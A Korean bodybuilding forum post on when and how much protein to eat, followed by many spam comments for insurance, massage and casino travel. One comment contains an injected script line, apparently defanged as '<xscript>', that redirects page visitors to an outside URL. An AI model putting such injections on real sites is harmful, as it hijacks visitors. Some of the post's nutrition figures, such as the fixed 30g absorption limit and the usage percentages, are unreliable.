현재 위치

  1. Home
  2. Board
  3. 헬스지식

헬스지식

헬스지식

게시판 상세
SUBJECT 건강한 근육과 몸매를 위한 단백질 활용법
NAME HEALTHHOLIC (ip:)
  • DATE 2011-05-31 19:09:59
  • LIKE Like!
  • VIEW 1543
RATE 3점
 1.들어가며
1893년 G. H. Mulder가 생체 중 “제 1의 것”이라는 뜻을 가진 희랍어의 proteios에서 protein이라고 명명 했다. 단백질은 대다수 효소 및 호르몬의 주성분으로서 생체 내 반응을 촉진하고 조절하며 생체 내 생성과 재생에 반드시 존재해야 한다.

특히 보디빌더에게 있어서 단백질은 근육의 형성과 발달의 원 재료라는 면에서 대단히 중요한 위치를 차지하며 운동의 효과를 100% 나타내기 위함 영양학적 접근은 단백질의 시기적절하고도 적당한 양의 섭취는 영양학의 기본이라고 할 수 있다.

이 장에서는 단백질의 섭취 시기와 섭취량 등 우수한 보디빌더가 되기 위한 단백질 섭취 방법에 대해 말하고자 한다.



2.단백질 섭취 시기

① 생리학적인 “기회의 창” 활용하기 - 웨이트 트레이닝 시 우리 몸은 체내의 운동 에너지인 근육 내 저장되어 있는 운동에너지인 글리코겐을 에너지대사로 활용 고강도 트레이닝 가능하게 하고, 근육 섬유질을 파괴한다. 운동 후에는 이런 과정을 역학적으로 반복한다. 즉, 운동으로 사용한 글리코겐을 보충하려 하고 나중에는 파괴된 근육 섬유질 재생을 위해서 근육의 재료인 단백질을 흡수하려 한다는 것인데 이것을 보디빌딩 용어로 생리학적인 “기회의 창”이 열린다고 한다. 이 기회의 창을 100% 활용하기 위해서는 운동 후 30분 이내에 100g의 단당류 탄수화물과 1시간 이내에 30g 이상의 단백질을 필요로 한다. 즉, 운동 후 빠른 소화흡수로 인한 글리코겐 보충을 위해 단당류 탄수화물이 필요로 하듯이, 단백질도 소화흡수가 잘되고 생물가가 우수한 양질의 단백질이 필요한데 이때 알맞은 단백질 보충 방법이 보충제(웨이 프로틴)를 이용하는 것이다. 보디빌더의 가장 중요한 단백질 보충 시기는 운동 후 1시간 이내 30g 이상의 단백질 섭취다.

② 수면시의 “신진대사” 활용하기 - 운동 후 기회의 창을 활용하였다면 하루 단백질 활용도 100% 중 30%는 이미 성공한 것이다 나머지 30%는 하루 중 가장 편안한 시간대인 잠을 자는 수면기간이다. 운동으로 과부하를 받고 미세하게 파괴된 근육 섬유질은 우리가 잠자는 기간에 신진대사를 활용 섬유질 재생에 들어가며, 이때 필요한 양질의 단백질을 수면 전에 미리 체내 보충해 주어 빠르고 두터운 근섬유의 형성을 도모하는 것이다.
수면 시 가장 활발한 신진대사는 근육의 피로 물질인 젖산을 분해하려 하고, 근섬유를 재생하려 하는데 식이요법이나 다이어트를 위한다고 자기 전 영양섭취를 소홀히 한다면 하루 중 근육형성의 30% 놓치는 결과를 초래할 수 있다. 즉, 소화흡수가 잘되는 보충제를 잠자기 1시간 전에 미리 섭취해 주면 우리 몸은 보디빌더가 자는 편안한 시간 내에 근육을 무럭무럭 성장시킬 수 있다는 것을 명심해야 하며, 참고로 외국의 보디빌더는 자다가도 일어나 보충제를 섭취해 주어 굶주린 근육의 배를 채워주는 열의를 가진다.

③ 평상시 단백질 섭취 - 일반인을 기준으로 단백질을 소화 흡수하는 시간과 양은 30g 당 3~4시간이다. 그 시간대 나머지 단백질은 잉여 칼로리로 지방으로 전환 축적되어 버린다. 하지만 보디빌더는 다르다! 꾸준하고 강도 있는 트레이닝과 충분한 영양섭취로 일반인들보다 훨씬 단백질 소화흡수 능력이 좋기 때문이다. 보디빌더가 운동 후와 수면시기를 놓치지 않고 단백질을 활용했다면 이미 60%의 활용도를 기록하고 있어서 나머지 40%의 활용도를 위한 방안이 필요로 한데, 이 시기가 앞선 두 가지 시기를 제외한 것이다. 보디빌더는 평상시 단백질 섭취를 게을리 하지 말아야 한다. 30~40g 정도의 단백질을 3시간 간격으로 자주 섭취해 주어야 하고 이때의 단백질은 될 수 있으면 식품을 통한 동물성 단백질을 섭취해야 하며 아마 가장 애용되는 것이 닭 가슴살일 것이다. 물론 참치나, 소고기, 계란흰자 등도 있지만 섭취 방법, 생물가, 지방 ?량 등을 고려한다면 당연 닭 가슴살을 꼽을 수 있다. 하지만 너무 닭 가슴살에 연연할 필요는 없다. 동물성 단백질은 지구상에 밝혀진 것보다 밝혀지지 않는 종류가 더욱 많기 땜에 동물성도 다양하게(우유나 참치, 그 어떤 동물성을 포함한) 섭취하는 것이 좋다.




3.단백질 섭취량
식물성과 동물성의 배합 비율은 3 : 1의 비율일 때 아미노산 상호보완작용이 형성되어 체내 단백질 이용률과 흡수도가 현저히 증가한다. 또한 일반인 성인 일일 평균 섭취권장량은 0.8~1g 정도를 권장하지만 보디빌더는 고강도의 훈련과 근육질을 높여야 하는 것 때문에 체중 1kg 당 1.1~2.2g의 섭취를 권장한다. 위에서 설명 했듯이 인체 내 1회 소화흡수 가능 량은 대략 30g 이기 때문에 보디빌더는 꾸준한 고강도 트레이닝과 단백질 섭취로 1회 당 소화 흡수량을 늘리는데 중점을 두어야 하고, 한번에 많은 양의 단백질 섭취보다는 여러 번에 걸쳐서 꾸준히 단백질을 섭취해 주어야 한다. 운동에도 성실성이 필요하지만 영양에도 운동 못지않은 성실성을 필요로 한다!

4.맺음말
보디빌더는 단백질 섭취 시 단백질 생물가(PER)예 초점을 맞출 줄 알아야 한다. 즉, 동식물성 구분과 완전과 불완전 단백질을 구분하여 필수아미노산이 다량 함유되어 있는 완전단백질 식품을 주로 섭취해야 한다는 것이다. 단백질이라도 다 같은 것이 아니기 때문이다.
같은 시간 내에 같은 양의 운동을 했어도 단백질 섭취를 달리 했다면 근육의 질은 틀려질 수 있다. 효과적인 운동에는 효과적인 단백질 섭취가 따라야 한다는 것이다.
FILE 
PASSWORD 수정 및 삭제하려면 비밀번호를 입력하세요.
  • Comment by 2019-04-04 22:40:32 0점
    수정 삭제 댓글
    스팸글
    실비보험-실비보험

    실비보험-실비보험

    실비보험비교사이트-실비보험비교사이트

    암보험-암보험

    암보험비갱신형-암보험비갱신형

    암보험-암보험

    암보험비갱신형-암보험비갱신형

    아페르한강-아페르한강

    김포공항주차대행-김포공항주차대행
    김포공항주차비-김포공항주차비
    김포공항주차장-김포공항주차장

    신용카드현금-신용카드현금
  • Comment by 2019-04-05 17:49:18 0점
    수정 삭제 댓글
    스팸글
    루컴즈힐-루컴즈힐
    서초동루컴즈힐-서초동루컴즈힐

    인천왁싱-인천왁싱
    구월동왁싱-구월동왁싱
    인천브라질리언왁싱-인천브라질리언왁싱
  • Comment by 2019-04-08 12:08:01 0점
    수정 삭제 댓글
    스팸글
    루컴즈힐-루컴즈힐
    서초동루컴즈힐-서초동루컴즈힐

    인천왁싱-인천왁싱
    구월동왁싱-구월동왁싱
    인천브라질리언왁싱-인천브라질리언왁싱
  • Comment by 2019-04-08 15:42:58 0점
    수정 삭제 댓글
    스팸글
    심리상담사 자격증-심리상담사 자격증

    미술심리상담사 자격증-미술심리상담사 자격증

    아동심리상담사 자격증-아동심리상담사 자격증

    노인심리상담사 자격증-노인심리상담사 자격증

    민간자격증-민간자격증

    정수기렌탈-정수기렌탈
    공기청정기렌탈-공기청정기렌탈
    안마의자렌탈-안마의자렌탈

    인천공항캡슐호텔-인천공항캡슐호텔
    인천국제공항캡슐호텔-인천국제공항캡슐호텔
    인천공항근처숙박-인천공항근처숙박
    인천공항근처숙박-인천공항근처숙박

    실비보험-실비보험

    실비보험-실비보험

    실비보험비교사이트-실비보험비교사이트

    암보험-암보험

    암보험비갱신형-암보험비갱신형
  • Comment by 2019-04-08 19:19:25 0점
    수정 삭제 댓글
    스팸글
    심리상담사 자격증-심리상담사 자격증

    미술심리상담사 자격증-미술심리상담사 자격증

    아동심리상담사 자격증-아동심리상담사 자격증

    노인심리상담사 자격증-노인심리상담사 자격증

    민간자격증-민간자격증

    정수기렌탈-정수기렌탈
    공기청정기렌탈-공기청정기렌탈
    안마의자렌탈-안마의자렌탈

    인천공항캡슐호텔-인천공항캡슐호텔
    인천국제공항캡슐호텔-인천국제공항캡슐호텔
    인천공항근처숙박-인천공항근처숙박
    인천공항근처숙박-인천공항근처숙박

    실비보험-실비보험

    실비보험-실비보험

    실비보험비교사이트-실비보험비교사이트

    암보험-암보험

    암보험비갱신형-암보험비갱신형
  • Comment by 2019-04-09 12:12:58 0점
    수정 삭제 댓글
    스팸글
    심리상담사 자격증-심리상담사 자격증

    미술심리상담사 자격증-미술심리상담사 자격증

    아동심리상담사 자격증-아동심리상담사 자격증

    노인심리상담사 자격증-노인심리상담사 자격증

    민간자격증-민간자격증

    정수기렌탈-정수기렌탈
    공기청정기렌탈-공기청정기렌탈
    안마의자렌탈-안마의자렌탈

    인천공항캡슐호텔-인천공항캡슐호텔
    인천국제공항캡슐호텔-인천국제공항캡슐호텔
    인천공항근처숙박-인천공항근처숙박
    인천공항근처숙박-인천공항근처숙박

    실비보험-실비보험

    실비보험-실비보험

    실비보험비교사이트-실비보험비교사이트

    암보험-암보험

    암보험비갱신형-암보험비갱신형
  • Comment by 2019-04-10 20:24:42 0점
    수정 삭제 댓글
    스팸글

    다이렉트자동차보험비교견적 -다이렉트자동차보험비교견적
    다이렉트자동차보험료비교견적사이트 -다이렉트자동차보험료비교견적사이트
    자동차보험료비교견적 -자동차보험료비교견적


    다이렉트자동차보험비교견적 -다이렉트자동차보험비교견적
    다이렉트자동차보험료비교견적사이트 -다이렉트자동차보험료비교견적사이트
    자동차보험료비교견적 -자동차보험료비교견적

    다이렉트자동차보험비교견적 -다이렉트자동차보험비교견적
    다이렉트자동차보험료비교견적사이트 -다이렉트자동차보험료비교견적사이트
    자동차보험료비교견적 -자동차보험료비교견적


    다이렉트자동차보험비교견적 -다이렉트자동차보험비교견적
    다이렉트자동차보험료비교견적사이트 -다이렉트자동차보험료비교견적사이트
    자동차보험료비교견적 -자동차보험료비교견적
  • Comment by 2019-04-11 15:36:20 0점
    수정 삭제 댓글
    스팸글
    부천마사지 -부천마사지
    부천마사지 -부천마사지


    필리핀에이전트 -필리핀에이전트
    마닐라에이전시 -마닐라에이전시
    마닐라에이전트 -마닐라에이전트
    필리핀카지노여행 -필리핀카지노여행
    필리핀여행 -필리핀여행
    강친 -강친

    필리핀에이전트 -필리핀에이전트
    필리핀카지노여행 -필리핀카지노여행
    마닐라에이전시 -마닐라에이전시
    말라떼지직스 -말라떼지직스
    말라떼지직스 -말라떼지직스

    필리핀에이전트 -필리핀에이전트
    필리핀카지노여행 -필리핀카지노여행
    마닐라에이전시 -마닐라에이전시
    말라떼지직스 -말라떼지직스
    말라떼마사지 -말라떼마사지
  • Comment by 2019-04-30 08:17:57 0점
    수정 삭제 댓글
    스팸글 ,, ㅎㅎ
    잠시 웃고 가요

    [부자집의 개와 닭]

    부정축재로 큰 부자가 된 집에 개와 닭이 대화를 나누고 있었습니다.

    개: 닭! 요즘 넌 아침이 되었는데도 왜 울지 않는 거니?

    닭: 스마트폰에 알람이 있는데 내가 굳이 울 필요가 없잖아.

    닭: 그런데 개 너는 도둑이 들어와도 왜 짖지 않니?

    개왈,“도둑이 집안에 있는데 내가 짖긴 왜 짖냐?”



    [말하는 전자저울]

    에어로빅센터에 말하는 최신 전자저울이 있습니다.

    이 저울은 40㎏인 사람이 올라가면

    “당신의 몸무게는 40㎏입니다”라고 정확히 말해주는 저울입니다.

    어느날 90㎏이나 되는 한 아주머니가 올라갔을 때 최신저울이 말했습니다.

    “일인용입니다.

    한사람은 내려가 주세요.”


    출처 : https://yariboilu.com/
    우리는 오늘은 이러고 있지만, 내일은 어떻게 될지 누가 알아요? - 윌리엄 셰익스피어
  • Comment by 2019-05-16 18:27:34 0점
    수정 삭제 댓글
    스팸글  









    <xscript> top.location='http://file1.bobaedream.co.kr/multi_image/girl/2019/02/27/19/CgQ5c766481d9a6c.jpg';



    라인컬처의원 강남성형외과

    강릉맛집 불고기찜닭

    건대맛집 잇츠비스트로 건대점

    GC밸런스심리케어센터 분당심리상담센터

    강남 삼성동 맛집

    동명항게찜전문점 속초맛집

    수다 여수맛집

    도깨비 순천맛집

    성산일출봉 맛집 해촌

    회양과국수군 우도맛집

    원담 제주공항 근처 맛집

    창원 서울연치과

    통해물나라 통영맛집

    LG공기청정기

    LG정수기

    라인컬처의원 강남

    라인컬처의원 강남

    강릉부성불고기찜닭

    강릉부성불고기찜닭

    건대맛집

    건대맛집

    GC밸런스심리케어센터

    GC밸런스심리케어센터

    뽕사부 삼성점

    뽕사부 삼성점

    동명항게찜전문점

    송파구치과

    송파구치과

    여수 수다

    여수 수다

    순천 도깨비

    순천 도깨비

    성산일출봉 해촌

    성산일출봉 해촌

    우도 회양과국수군

    우도 회양과국수군

    제주 원담

    제주 원담

    창원 서울연치과

    창원 서울연치과

    통영 통해물나라

    통영 통해물나라

    LG공기청정기

    LG정수기

    섬진강뚝배기재첩식당

    섬진강뚝배기재첩식당

    청송송어장횟집

    청송송어장횟집

    이상원미술관

    이상원미술관

    엘지건조기 공식 예서아빠
    lg안마의자 공식 예서아빠
    엘지스타일러 공식 예서아빠
    엘지안마의자 공식 예서아빠

    lg정수기
    엘지정수기
    공기청정기렌탈
    정수기렌탈
    공기청정기순위
    공기청정기추천
    lg퓨리케어공기청정기
    lg퓨리케어정수기




  • Comment by 2019-06-10 09:17:49 0점
    수정 삭제 댓글
    스팸글 파울루 벤투 축구대표팀 감독은 7일 오후 8시 부산아시아드주경기장에서 열리는 호주와의 평가전에 두 선수를 최전방에 둔 3-5-2 전술을 꺼내들었다.



    유럽축구연맹(UEFA) 챔피언스리그 결승 출격으로 동료들보다 하루 늦은 지난 4일 대표팀에 합류한 손흥민은 체력적으로 완전치 않은 상황에서도 선발 공격수의 중책을 맡았다.

    출처 : http://uskooo.com/
  • Comment by 2019-08-28 02:30:42 0점
    수정 삭제 댓글
    스팸글 이코노미스트 모하메드 엘-리안 은 월요일 미국과 중국이 무역 및 기술 분쟁을 해결하기 위해 거래를 할 수 있다는 비관적 인 입장을 보이고 있다고 말했다.

    CNBC 는 미국-멕시코-캐나다 협정을 언급하면서“중국은 초기에 전략적으로 실수를 저질렀다 .

    알리안츠 최고 경제 고문 인 엘-에리 안 (El-Erian)은 도널드 트럼프 대통령이 월요일 프랑스가 G-7 정상 회담에서 중국이 소집 하고 협상 테이블로 돌아올 준비가됐다고 언급 한 것에 대해 격려를받지 않았다 .

    Allianz 소유의 Pimco 전 CEO 인 El-Erian은 양측의 관세 상승이 계속되면서“계약을 체결하기가 훨씬 더 어려워진다”고 말했다. “그래서 우리가 기대할 수있는 최선은 휴전이 아니라 휴전입니다. 우리가 오늘 본 것은 다소 중단 된 것입니다.”

    밤알바


    금요일에 워싱턴 을 떠나기 전에 트럼프는 10 월 1 일 25 %에서 기존 2,500 억 달러의 중국 제품에 대한 관세율을 30 %로 인상 할 것이라고 밝혔다. 1과 12 월 15 일은 이제 10 %가 아닌 15 %의 비율입니다.

    트럼프 대통령은 또한 금요일에 미국 기업들에게“중국에 대한 대안을 찾기 시작”하고“회사를 미국으로 데려와 제품을 제조하는 것을 포함하여”중국에 대한 대안을 찾기 시작했다.

    El-Erian은 초기에 무역 전쟁을 기다리려고 노력한 미국 기업들이 “Squawk Box” 에서 “ 공급망을 다양 화하기 시작하고 있다” 며“수십 년 동안 어떤 일이 벌어지고 있는지 다시 정리하기는 쉽지 않다 ” 고 말했다 . . ... [하지만] 전 세계의 공급망이 크게 바뀌지 않는 것은 매우 어려울 것입니다. ”

    El-Erian은 미국이 중국의 불공정 거래 및 사업 관행이 경제를 넘어 국가 안보에 이르는 것으로 간주하는 것에 대해 우려하고 있다고 말했습니다. ″지도자들이 시장의 변동성을 줄이려고 할 때 일련의 휴전을 봤지만, 계속 유지되지는 않을 것”이라고 그는 예측했다.

    백악관은 화웨이에 대한 국가 안보 문제를 제기하여 중국 기술 대기업을 무역 블랙리스트에 올려 놓고 미국 기업들이 회사 제품을 판매하는 것을 제한했습니다. 이달 초 미국은 화웨이 금지를 90 일 더 연장했다.

    마이크 폼페오 국무 장관은 트럼프 행정부의 입장을 되풀이하면서 지난주 CNBC에“미국 통신망이나 전 세계 통신망 내부에 중국 통신 시스템의 위협 이 공산주의 중국 정부에 의해 감시 될 가능성이 크다 ”고 말했다. 화웨이는 중국 정부가 미국 제품을 염탐하지 않을 것이라고 말했다.
  • Comment by 2019-09-10 04:53:03 0점
    수정 삭제 댓글
    스팸글 I ordered the white rice and the rice of rice nurungji
    I didn't have any special food because it has many health benefits
    Just enjoy the delicacies
    It was a visual similar to Nurungji that I could easily see anywhere
    There's no style for you if you're so careful with what you see.
    It was so good to see it, and mouth water began to spin
    I think you're doing business with honest
  • Comment by 2019-09-10 08:17:39 0점
    수정 삭제 댓글
    스팸글 I ordered the white rice and the rice of rice nurungji
    I didn't have any special food because it has many health benefits
    Just enjoy the delicacies
    It was a visual similar to Nurungji that I could easily see anywhere
    There's no style for you if you're so careful with what you see.
    It was so good to see it, and mouth water began to spin
    I think you're doing business with honest
  • Comment by 2019-09-23 06:41:04 0점
    수정 삭제 댓글
    스팸글 I ordered the white rice and the rice of rice nurungji
    I didn't have any special food because it has many health benefits
    Just enjoy the delicacies
    It was a visual similar to Nurungji that I could easily see anywhere
    There's no style for you if you're so careful with what you see.
    It was so good to see it, and mouth water began to spin
    I think you're doing business with honest
댓글 입력

관리자답변보기

확인 취소

댓글 입력

관리자답변보기

/ byte

왼쪽의 문자를 공백없이 입력하세요.(대소문자구분)

등록

에게만 댓글 작성 권한이 있습니다.